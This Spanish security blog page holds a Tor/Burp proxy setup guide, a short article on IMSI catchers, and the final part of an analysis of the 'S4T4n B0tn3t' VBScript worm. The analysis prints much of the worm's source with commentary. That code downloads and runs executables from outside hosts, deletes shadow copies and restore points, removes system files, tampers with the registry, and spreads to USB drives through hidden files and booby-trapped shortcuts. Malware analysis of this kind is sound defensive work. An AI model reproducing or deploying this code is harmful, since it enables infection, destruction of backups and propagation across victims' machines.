jueves, 9 de junio de 2016

Quiero que todo mi mundo navegue por TOR

Esta entrada tiene varios objetivos ...

1.- El principal: recordar cosas.

2.- Mostrar lo fácil que es configurar el "Burp" (herramienta basada en java para realizar pentest en entornos web) en su versión free, o la que tengas, para encaminar todas nuestras peticiones web a través de la red TOR, y así poder realizar pentesting o navegar de manera más anónima .

3.- Mostrar que el proceso anterior nos permitiría no sólo a la máquina sobre la que hemos realizado el proceso anterior navegar a través de TOR, sino a cualquier máquina que configuremos para que salga a Internet  a través del Burp anterior.

Imaginar que queremos que todos los elementos que se conecten a nuestra casa salgan a través del proxy-web que hemos configurado, utilizando para ello la red TOR

Todo esto tiene sentido siempre y cuando NO queremos crearnos un nodo TOR.

NOTA: Hay que tener en cuenta que existen sitios web que no permiten la navegación desde la red TOR.

Para hacer todo esto, lo primero es descargar las herramientas que necesitaremos, más concretamente, descargaremos dos:

1.- El navegador que permite establecer la conexión con los nodos de entrada hacía la red TOR.

Para ello hay que visitar la web:

https://www.torproject.org

URL para la descarga del navegador TOR para sistemas Windows

Descargado

Tras la descarga, se pasa a la instalación, y tras esta ya podremos empezar a navegar a través de TOR, siempre y cuando utilicemos el navegador web descargado.

NOTA: Siempre tiene que existir un proceso activo del navegador TOR activo, para que el túnel hacía la red TOR exista.

2.- Descargamos la versión gratuita de la suite Burp, que entre otras cosas,  nos permitirá utilizar su sección de proxy-web y así enviar las peticiones que pasen por él hacía el túnel generado por el navegador de TOR.

Para descargar la versión gratuita de la suite Burp, debemos ir a la URL:

https://portswigger.net/burp/downloadfree.html

URL para la descarga de la herramienta Burp en sistemas Windows

Descargado

Tras la descarga e instalación del navegador TOR, necesitaremos configurar el Burp para que las peticiones web que se recojan, las reenvíe por el túnel montado hacía la red de TOR por el navegador TOR.

Para ello, abrimos Burp y nos vamos a la sección: User Options >> SOCKS Proxy, y colocamos los parámetros de siguiente salto de la petición que pasa por el Burp.

NOTA: Por defecto, el siguiente salto lo marcará el default gateway

Configuración del siguiente salto de Burp

NOTA: Para conseguir los datos del puerto que utiliza el navegador TOR para generar el túnel contra la red TOR podemos mirar en la sección "Opciones" del propio navegador TOR.

Información sobre el puerto utilizado por el navegador TOR para construir el túnel contra la red TOR

Comprobamos la navegación

IP saliendo por la red TOR



IP navegando con el Internet Explorer sin utilizar la red TOR

IP navegando con el Internet Explorer a través de la red TOR

Para el tercer paso necesitamos antes de nada:

1.- Habilitar en el Burp otra instancia de proxy en donde la dirección IP sea la de la propia máquina, o modificar la instancia existente para que en vez de 127.0.0.1 aparezca la IP de la máquina.

Se establece una nueva instancia de proxy-web basada en la IP de la máquina y un puerto distinto.

2.- Modificar cualquier firewall que el sistema tenga activo para permitir conexiones hacía el puerto del proxy-web

Tras esto, configuraremos los navegadores del resto de los dispositivos de nuestra red para que las comunicaciones fluyan a través del proxy-web habilitado.

Configuración de un navegador de otro equipo

Confirmación de la navegación a través de la red TOR.

NOTAS FINALES

Para tener bien configurado un proxy-web en nuestra red interna, desde mi punto de vista, habría que:

1.- Diseñar e implementar una red que obligue a los usuarios a configurarse el proxy-web, si o si, para poder navegar.

2.- Utilizar una máquina que exclusivamente haga de proxy-web,  que además sea robusto y que tenga activo el proceso del navegador TOR.

3.- Tener en cuenta la siguiente entrada: 

http://4null0.blogspot.com.es/2016/02/minimizar-exposicion-las-infecciones.html


4.- Securizar y bastionar.

PD: Gracias Pablo por tus comentarios

viernes, 3 de junio de 2016

Eres un chivato mi querido móvil

Hace unos días leí varios artículos sobre las actividades de los gobiernos en manifestaciones para detectar a los asistentes.

http://antivigilancia.org/es/2015/06/la-vigilancia-y-la-protesta-social/

Para ello utilizan los "IMSI catchers".

Pero, ¿qué es el IMSI?

El IMSI o  International Mobile Subscriber Identity (Identidad Internacional del Abonado a un Móvil), es un identificador único que se almacena en la SIM de un dispositivo móvil, y que le identifica a través de las redes de telefonía móvil.

Como por ley, cada tarjeta SIM tiene que estar vinculada a una persona, al menos en nuestro país, por la IMSI se puede identificar a una persona.

Más información:
                               
https://es.wikipedia.org/wiki/IMSI

NOTA: No confundir con el IMEI o International Mobile Station Equipment Identity, (Identidad internacional de equipo móvil), que es el identificador del dispositivo móvil, vamos del teléfono, y es único a nivel mundial.

Más información:
https://es.wikipedia.org/wiki/IMEI

Pero, ¿qué son los IMSI catchers?

Resumiendo ... son torres móviles falsas, también llamadas Stingrays.

 Definición de IMSI catchers

Más información:

                               https://antivigilancia.org/es/2016/03/detectando-antenas-de-celulares-espias/

Contramedidas

El artículo expone las siguientes medidas de prevención.

Medidas de prevención propuestas por el artículo.

Personalmente, he empezado a utilizar Orbot y Orfox (navegador basado en firefox, que necesita de orbot para funcionar). Para navegar, pero también -el orbot- para otro tipo de comunicaciones.
Para mi desgracia mi móvil no es compatible con SnoopSnitch y la app AIMSICD genera tantos errores, que tendré que seguir ciego y no ver las torres que me solicitan cambios de algún tipo.

NOTAS:

A raíz de estas lecturas me oteado información sobre vulnerabilidades en el protocolo SS7 (https://antivigilancia.org/es/2015/06/consultando-al-espia-de-bolsillo-vulnerabilidades-ss7-y-rastreo-global-2/) y he vuelto a visualizar los vídeos de la gente de Layakk sobre ataques en 2G y 3G

Sistema de localización geográfica de un terminal móvil [Rootedcon 2013]
https://www.youtube.com/watch?v=-pR7cm2V9u8

Atacando 3G [Rootedcon 2014]
https://www.youtube.com/watch?v=vIMysm0nswY



Además, apagaré siempre que crea oportuno al chivato que llevo en mi bolsillo.

viernes, 6 de mayo de 2016

Analizando "S4T4n B0tn3t" - Parte 4 y última

Continuamos con el análisis.

En el trozo de código que se muestra a continuación se procede a realizar varias tareas de usa sola tirada:

1.- Se accede a la carpeta “\system32\drivers” para renombrar el archivo: “flpydisk.sys” por el nombre: “flpydisk.sy_”. La ubicación de la carpeta a la que se ha accedido depende del contenido de la variable del sistema: “systemroot”.

NOTA: Habitualmente el contenido de esta variable será: “C:\Windows

2.- Tras esta acción se procederá a eliminar a los siguientes archivos:
               
                2.1.- \security\system.bat
                2.2.- \security\system.exe
                2.3.- \kernel\explorer.exe
                2.4.- \kernel\update.exe
                2.5.- reskp.exe

Las cuatro primeras eliminaciones se ubican en la carpeta indicada por el contenido de la variable del sistema: “systemdrive”, que normalmente contendrá el valor: “C:

Hay que recordar que estas carpetas han sido creadas por el propio código de la botnet, y permanecen con la propiedad “oculta” activada.

La última eliminación se ubica en la carpeta indicada por el contenido de la variable: “temp”.

3.- Por último elimina el directorio: “system32” y todo su contenido, ubicado en “C:”  


Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d %systemroot%\system32\drivers & ren flpydisk.sys flpydisk.sy_ & del/f/q/s %systemdrive%\security\system.bat & del/f/q/s %systemdrive%\security\system.exe & del/f/q/s %systemdrive%\kernel\explorer.exe & del/f/q/s %systemdrive%\kernel\update.exe & del/f/q/s ""%temp%\reskp.exe"" & rd/q/s %systemdrive%\system32 & EXIT",0
Set oShell = Nothing

En el trozo de código que se muestra a continuación se procede a crear el archivo: “rescue.vbe” en la ruta marcada por la variable: “Allusersprofile”.

NOTA: Habitualmente el contenido de esta variable será: “C:\ProgramData

r00t=shell.ExpandEnvironmentStrings("%Allusersprofile%")
bkdr=r00t & "\rescue.vbe"

set fsO = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(bkdr, ForWriting , true)

f.writeline "  On error resume Next "

f.writeline "  wscript.sleep 30000 " '

f.writeline " set variable=createobject(""wscript.shell"") "
f.writeline " variable.run ""%systemroot%\system32\wscript.exe /e:VBScript.Encode """""&var1&"\kernel\r00t3r"",false "

f.writeline "  wscript.sleep 300000 " '
f.writeline "  Set shell = WScript.CreateObject(""WScript.Shell"") "
f.writeline "  Set WshShell = Wscript.CreateObject(""Wscript.shell"") "
f.writeline "  tmpdir=shell.ExpandEnvironmentStrings(""%temp%"") "
f.writeline "  set wshshell=createobject(""wscript.shell"") "
f.writeline "  mane = ""http://bootme.me.pn/""             "
f.writeline "  yow = ""booter.""   "
f.writeline "  fin = ""dat""   "
f.writeline "  strFileURL = "" ""&mane&""""&yow&""""&fin&"" ""  "
f.writeline "  strHDLocation = tmpdir & ""\booter.dat""   "
f.writeline "  set objXMLHTTP = CreateObject(""MSXML2.XMLHTTP"")   "
f.writeline "  objXMLHTTP.open ""GET"", strFileURL, false   "
f.writeline "  objXMLHTTP.send()  "
f.writeline "  If objXMLHTTP.Status = 200 Then   "
f.writeline "  Set objADOStream = _   "
f.writeline "  CreateObject(""ADODB.Stream"")   "
f.writeline "  objADOStream.Open  "
f.writeline "  objADOStream.Type = 1 'adTypeBinary   "
f.writeline "  objADOStream. _   "
f.writeline "  Write _   "
f.writeline "  objXMLHTTP _   "
f.writeline "  .ResponseBody   "
f.writeline "  objADOStream. _   "
f.writeline "  Position = 0   "
f.writeline "  Set objFSO = _   "
f.writeline "  Createobject(""Scripting.FileSystemObject"")  "
f.writeline "  If objFSO. _   "
f.writeline "  Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation   "
f.writeline "  Set objFSO = Nothing   "
f.writeline "  objADOStream _   "
f.writeline " .SaveToFile strHDLocation   "
f.writeline "  objADOStream.Close   "
f.writeline "  Set objADOStream = Nothing   "
f.writeline "  End if   "
f.writeline "  a = objXMLHTTP.getResponseHeader(""Content-Length"")   "
f.writeline "  Set objXMLHTTP = Nothing   "
f.writeline " set loFSO = CreateObject(""Scripting.FileSystemObject"")   "
f.writeline " loFSO.CopyFile """"&tmpdir&""\booter.dat"",""""&tmpdir&""\reskp.exe""   "
f.writeline " loFSO.DeleteFile """"&tmpdir&""\booter.dat""   "
f.writeline " Set oFSO = CreateObject(""Scripting.FileSystemObject"")   "
f.writeline " stFichier = """"&tmpdir&""\reskp.exe""   "
f.writeline " Set oFl = oFSO.GetFile(stFichier)   "
f.writeline " b = oFl.size   "
f.writeline " if """"&a&"""" = """"&b&"""" then   "
f.writeline " set variable=createobject(""wscript.shell"")   "
f.writeline " variable.run """"""""&tmpdir&""\reskp.exe"""""",0,False   "
f.writeline " else   "
f.writeline " end if  "
f.close

Visualmente, el archivo creado es:

Archivo “rescue.vbe”

Este realizará lo siguiente:

1.- Permanecerá inactivo durante 30 segundos.
2.- Codificara el archivo “r00t3r” ubicado en la carpeta: “kernel
3.- Permanecerá inactivo durante otros 30 segundos
4.- Realizará una petición basada en protocolo HTTP a la URL: http://bootme.pn/booter.dat
5.- Lo que se descargue se descargará en la ubicación: “<carpeta temporal>/booter.dat”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
6.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “reskp.exe
7.- Elimina en archivo descargado: “booter.dat
8.- Ejecutamos el archivo: “reskp.exe

Conclusiones: Estamos ante un procedimiento de actualización.


On error Resume NexT

En el trozo de código que se muestra a continuación se procede a eliminar las copias de seguridad realizadas por el propio sistema operativo.


Drive = ""
  Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
  ret=obj.Disable(Drive)
  Set obj = GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
  ret=obj.Enable(Drive)
  ret=obj.Enable(Drive)
  Set obj = Nothing

set wshshell=createobject("wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K vssadmin delete shadows /all /quiet & cd/d ""%systemdrive%\system volume Information"" & del/f/s/q/a ""%systemdrive%\system volume Information\*.*"" & EXIT",0
Set oShell = Nothing

En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que permite parar la ejecución del código durante un cierto tiempo.

prem = TotalTime
deux = Start
dern = PauseTime

While True
        dern = 3600    
        deux = Timer   
        Do While Timer < deux + dern


En el trozo de código que se muestra a continuación se procede a llamar al procedimiento: detectarracines.

detecterracines

Tras lo cual, se procede a dormir la ejecución del código durante 1 segundo

wscript.sleep 1000

En el trozo de código que se muestra a continuación se procede a ejecutar un bucle que estará ejecutándose en todo momento que solicitará recursos de Internet.

Pasamos a analizarlo.

Loop

En el trozo de código que se muestra a continuación se procede a escribir el valor 0 en la clave de registro:

"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
     
WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0, "REG_DWORD"

En el trozo de código que se muestra a continuación se procede a realizar una petición hacia Internet solicitando la siguiente URL: http://registered.co.nf


oN eRroR rEsumE NeXT
Set xmlHttp = CreateObject("MSXML2.ServerXMLHTTP")
urlCert = "http://registered.co.nf/"
xmlHttp.Open "GET", urlCert, False
xmlHttp.Send ""
xmlHttp.Abort


En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://timalin.99k.org/system.txt
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.txt”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.bat
4.- Elimina en archivo descargado: “system.txt
5.- Ejecutamos el archivo: “system.bat


set wshshell=createobject("wscript.shell")
first = "http://timalin.99k.org/"           
secon = "system."
ext = "txt"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\security\"
strHDLocation = ""&third&""&secon&""&ext&""
set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
  Set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0
  
  Set objFSO = Createobject("Scripting.FileSystemObject")
  If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

  objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.txt",""&third&"system.bat"
loFSO.DeleteFile ""&third&"system.txt"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.bat"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then

set variable=createobject("wscript.shell")
variable.run """"&var1&"\security\system.bat""",0,False

else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://ttimalin.0fees.net/system.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\security\system.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “system.exe
4.- Elimina en archivo descargado: “system.jpg
5.- Ejecutamos el archivo: “system.exe
      
 set wshshell=createobject("wscript.shell")
 first = "http://ttimalin.0fees.net/"
 secon = "system."
 ext = "jpg"
 strFileURL = ""&first&""&secon&""&ext&""
 third = ""&var1&"\security\"
 strHDLocation = ""&third&""&secon&""&ext&""
 set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
 objXMLHTTP.open "GET", strFileURL, false
 objXMLHTTP.send()
 If objXMLHTTP.Status = 200 Then
  Set objADOStream = CreateObject("ADODB.Stream")
  objADOStream.Open
  objADOStream.Type = 1
  objADOStream.Write objXMLHTTP.ResponseBody
  objADOStream.Position = 0
  Set objFSO = Createobject("Scripting.FileSystemObject")
  If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

  Set objFSO = Nothing
  objADOStream.SaveToFile strHDLocation
  objADOStream.Close
  Set objADOStream = Nothing
 End if
 a = objXMLHTTP.getResponseHeader("Content-Length")
 Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&third&"system.jpg",""&third&"system.exe"
loFSO.DeleteFile ""&third&"system.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
 set variable=createobject("wscript.shell")
 variable.run """"&var1&"\security\system.exe""",0,False
else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://d0n10ader.sxq.net/explorer.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\explorer.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “explorer.exe
4.- Elimina en archivo descargado: “explorer.jpg
5.- Ejecutamos el archivo: “explorer.exe

set wshshell=createobject("wscript.shell")

first = "http://d0nl0ader.zxq.net/"
secon = "explorer."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""

set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
 Set objADOStream = CreateObject("ADODB.Stream")
 objADOStream.Open
 objADOStream.Type = 1
 objADOStream.Write objXMLHTTP.ResponseBody
 objADOStream. Position = 0
 Set objFSO = Createobject("Scripting.FileSystemObject")
 If objFSO. Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
 Set objFSO = Nothing
 objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if

a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing

set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\explorer.jpg",""&var1&"\kernel\explorer.exe"
loFSO.DeleteFile ""&var1&"\kernel\explorer.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"explorer.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then

set variable=createobject("wscript.shell")
variable.run """"&var1&"\Kernel\explorer.exe""",0,False

else
end if

En el trozo de código que se muestra a continuación se procede a realizar:

1.-  Realizará una petición basada en protocolo HTTP a la URL: http://r000t3r.zzl.org/update.jpg
2.- Lo que se descargue se descargará en la ubicación: “C:\kernel\update.jpg”. Eso sí, si dicho archivo ya existiera, lo eliminaría antes de nada.
3.- El archivo descargado lo copia en la misma ubicación pero con el siguiente nombre: “update.exe
4.- Elimina en archivo descargado: “update.jpg
5.- Ejecutamos el archivo: “update.exe


set wshshell=createobject("wscript.shell")
first = "http://r000t3r.zzl.org/"  
secon = "update."
ext = "jpg"
strFileURL = ""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation = ""&third&""&secon&""&ext&""

set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
 Set objADOStream = CreateObject("ADODB.Stream")
 objADOStream.Open
 objADOStream.Type = 1
 objADOStream.Write objXMLHTTP.ResponseBody
 objADOStream.Position = 0

 Set objFSO = Createobject("Scripting.FileSystemObject")
 If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

 Set objFSO = Nothing
 objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if

a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\update.jpg",""&var1&"\kernel\Update.exe"
loFSO.DeleteFile ""&var1&"\kernel\update.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"Update.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
 set variable=createobject("wscript.shell")
 variable.run """"&var1&"\kernel\Update.exe""",0,False
else
end if

Y finaliza el bucle.

Wend

En el trozo de código que se muestra a continuación se procede a analizar el procedimiento: ”detecterracines()

sub detecterracines()

set fsO = CreateObject("Scripting.FileSystemObject")
set wshshell=createobject("wscript.shell")
Dim fso, d, dc, s, n

En el trozo de código que se muestra a continuación se procede a obtener todas las unidades creadas por el sistema.

Set dc = fso.Drives

Y para cada una de ellas…

For Each d in dc
racine = d.Driveletter & ":"

Se determina el tipo de unidad que es …

       u= detectamovibles(racine)

Si la unidad es de tipo “Amovible” o “Fixe”, está preparada y no es la unidad “A:”, entonces…

       if u = "Amovible" or u = "Fixe" and d.isready and racine <> "A:" then
             set fsO = CreateObject("Scripting.FileSystemObject")

Se determina la existencia del archivo “config.dat” en la unidad analizada

             if fsO.FileExists(""&d&"\config.dat") Then

Si existe, se determina la cantidad de datos que contiene:

1.- Si tiene más de 20 líneas, entonces se copia el contenido de las carpetas “c:\security” y “c:\kernel” en la unidad analizada, si establecen las propiedades de: “sistema” y “oculto”.

2.- Si tiene menos de 20 líneas, entonces se elimina el archivo “config.dat” de la unidad analizada.

3.- Si tiene 20 líneas, entonces se comprueba la diferencia entra la fecha del archivo “config.dat” y la fecha del sistema. Si la diferencia fuera inferior a “0”, entonces se elimina el archivo “config.dat” de la unidad y se copia en su lugar el archivo “blood.dat” ubicado en la carpeta: “C:\security

                    Dim oFso, f
                    Dim ts, nl
                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
                    ts = f.ReadAll

                    if ""&f.line&"" > 20 then
                           f.close

                           Set oShell = WScript.CreateObject ("WScript.Shell")
     oShell.run "cmd /K del/f/q/A ""%systemdrive%\security\*.dat"" & xcopy /C /H /Y /R   """&d&"\config.dat"" ""%systemdrive%\security"" & attrib -s -h ""%systemdrive%\security\*.*"" & ren ""%systemdrive%\security\*.*"" blood.dat & EXIT",0

                           oShell.run "cmd /K del/f/q/A ""%systemdrive%\kernel\*.dat"" & xcopy /C /H /Y /R """&d&"\config.dat"" ""%systemdrive%\kernel"" & attrib -s -h ""%systemdrive%\kernel\*.*"" & ren ""%systemdrive%\kernel\*.*"" r00t3r & attrib +s +h ""%systemdrive%\kernel\*.*"" & EXIT",0

                           Set oShell = Nothing
                    end if

                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
                    ts = f.ReadAll
                    if ""&f.line&"" < 20 then
                           f.close

                           set fsO = CreateObject("Scripting.FileSystemObject")
                           fso.deletefile(""&d&"\config.dat"),true
                    end if

                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)

                    ts = f.ReadAll 
                    if ""&f.line&"" = 20 then
                           f.close

Dim stFichier
Dim oFl
Set oFSO = CreateObject("Scripting.FileSystemObject")
                    stFichier = ""&d&"\config.dat"
Set oFl = oFSO.GetFile(stFichier)       
Set f = ofso.GetFile(stFichier)
fdate = f.DateLastModified
fname = f.Name
dtDiffFile = DateDiff("d", Now, fdate)

If dtDiffFile < 0 Then
fso.DeleteFile(stFichier),true

Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d ""%systemdrive%\security"" & copy /b /y blood.dat + & EXIT",0
Set oShell = Nothing

end if
end if
else

Si el archivo “config.dat” no existe, se pasa a :

1.- Generar un archivo de nombre: “tmp.bat” en la carpeta temporal del sistema, en donde se almacenará el siguiente código.

Contenido del archivo: “tmp.bat”

El código hace lo siguiente:

1.- Elimina de la unidad todo archivo con extensión: “.vbe”, “.lnk”, así como los archivos: “config.dat”, “autorun.dat” y “microsoft.dat
2.- Copia el archivo: “blood.dat”, ubicado en la carpeta: “c:\security”, a la unidad seleccionada con el nombre: “config.dat
3.- Al nuevo archivo “config.dat” copia anteriormente se le otorgan las propiedades del “sistema” y “oculto”.
4.- Elimina de la unidad “C:” el archivo: “autorun.inf”, así como todos los archivos con extensión “.lnk


tmpdir=shell.ExpandEnvironmentStrings("%temp%")
                    nomficl=tmpdir & "\tmp.bat"
set f = fso.OpenTextFile(nomficl, ForWriting , true)

                    f.writeline "del/f/q/a """&d&"\*.vbe"" "
                    f.writeline "del/f/q/a """&d&"\*.lnk"" "
                    f.writeline "del/f/q/a """&d&"\config.dat"" "
                    f.writeline "del/f/q/a """&d&"\autorun.inf"" "
                    f.writeline "del/f/q/a """&d&"\microsoft.dat"" "
                    f.writeline "xcopy /C /H /Y /R """&MyF&""" """&d&"\"" "
                    f.writeline "ren """&d&"\blood.dat"" config.dat "
                    f.writeline "attrib +s +H """&d&"\config.dat"" "
                    f.writeline "del/f/q/a ""%systemdrive%\*.lnk"" "
                    f.writeline "del/f/q/a ""%systemdrive%\autorun.inf"" "
                    f.close

Se ejecuta el archivo “tmp.bat

set variable = createobject("wscript.shell")
variable.run ""&nomficl&"" ,0,true
fso.DeleteFile nomficl, true

Const ForWriting = 2
RootFolder = ""&d&""

Ahora, por cada subdirectorio de la unidad, se crea un archivo de tipo “.lnk”, que antes de acceder al subdirectorio ejecutará el archivo “config.dat”. El subdirectorio es configurado con las propiedades de: “solo lectura”, “oculto” y “del sistema”.

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(RootFolder)
Set colSubfolders = objFolder.Subfolders

For Each objSubfolder in colSubfolders
exit for
next

set oShell = CreateObject("WScript.Shell")
sDesktop = WSHShell.SpecialFolders("Desktop")
set oSLink = WSHShell.CreateShortcut(""&d&"\"&objSubfolder.Name&".lnk")
strTarget = oShell.ExpandEnvironmentStrings("%windir%")
oSLink.TargetPath = strTarget & "\system32\cmd.exe"
oSLink.Arguments = "/c start WScRiPt.EXe /e:VBScRIpt.ENcOdE config.dat & C:\WINDOWS\explorer.exe "&objSubfolder.Name&" "
oSLink.WindowStyle = 7
oSLink.IconLocation = "%SystemRoot%\system32\SHELL32.dll,-4"
oSLink.Save

on error resume next

Set objFSo = CreateObject("scripting.FileSystemObject")
Set objFile = objFSo.GetFile(""&d&"\"&objSubfolder.Name&".lnk")

objFile.Attributes = 1

Set objFSO = CreateObject("Scripting.FileSystemObject" )
Set objFolder = objFSO.GetFolder(""&d&"\"&objSubfolder.Name&"")
                    objFolder.Attributes = objFolder.Attributes XOR 6

end if
end if
Next
end sub

Conclusión: Estamos ante el procedimiento que permite ejecutar el vector de infección.

En el trozo de código que se muestra a continuación se puede ver la función: ”detectamovibles()”, que permite determinar el tipo de unidad que se le pasa como parámetro.

Function detectamovibles(drvpath)

Dim fso, d, s, t

set fsO = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(drvpath)))
Select Case d.DriveType
Case 1: t = "Amovible"
Case 2: t = "Fixe"
End Select
detectamovibles = t

End Function


GRACIAS A:

'========================================================================================='
'
' C0d3 N4me : S4-|-4|\| |30-|-
' Cr34t0r : GRICCO
' Created for personal use , modifications or others are not authorized
' For more informations, looking 4 me { - CNG4L }
'
'========================================================================================='


POR FIN ... ¡FIN!